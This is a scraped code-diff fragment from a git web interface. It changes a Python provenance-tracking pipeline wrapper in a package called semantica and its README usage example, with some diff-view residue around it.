result = self._engine.execute_pipeline(self._pipeline, data=data, **kwargs)
|
||||
result = self._pipeline.run(data, **kwargs)
|
||||
elapsed = time.time() - start_time
|
||||
activity_ended_at_time = datetime.now(timezone.utc).isoformat()
|
||||
activity_ended_at_time = datetime.utcnow().isoformat()
|
||||
|
||||
if self.provenance and self._prov_manager:
|
||||
self._prov_manager.track_entity(
|
||||
@@ -94,14 +69,14 @@ class PipelineWithProvenance:
|
||||
activity_started_at_time=activity_started_at_time,
|
||||
activity_ended_at_time=activity_ended_at_time,
|
||||
metadata={
|
||||
"steps": len(self._pipeline.steps),
|
||||
"steps": len(self._pipeline.steps) if hasattr(self._pipeline, 'steps') else 0,
|
||||
"duration_seconds": elapsed,
|
||||
"status": "completed" if result.success else "failed",
|
||||
"status": "completed"
|
||||
}
|
||||
)
|
||||
|
||||
|
||||
return result
|
||||
|
||||
|
||||
def __getattr__(self, name):
|
||||
return getattr(self._pipeline, name)
|
||||
|
||||
|
||||
@@ -399,16 +399,12 @@ response = llm.generate("What is artificial intelligence?")
|
||||
|
||||
```python
|
||||
from semantica.pipeline.pipeline_provenance import PipelineWithProvenance
|
||||
from semantica.pipeline import PipelineBuilder
|
||||
|
||||
builder = PipelineBuilder()
|
||||
builder.add_step("ingest", "file_ingest")
|
||||
pipeline = builder.build("my_pipeline")
|
||||
|
||||
runner = PipelineWithProvenance(pipeline, provenance=True)
|
||||
# Create pipeline with provenance
|
||||
pipeline = PipelineWithProvenance(provenance=True)
|
||||
|
||||
# Run pipeline - all steps tracked
|
||||
result = runner.run(
|
||||
result = pipeline.run(
|
||||
data=input_data,
|
||||
source="input_file.json"
|
||||
)
|
||||
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user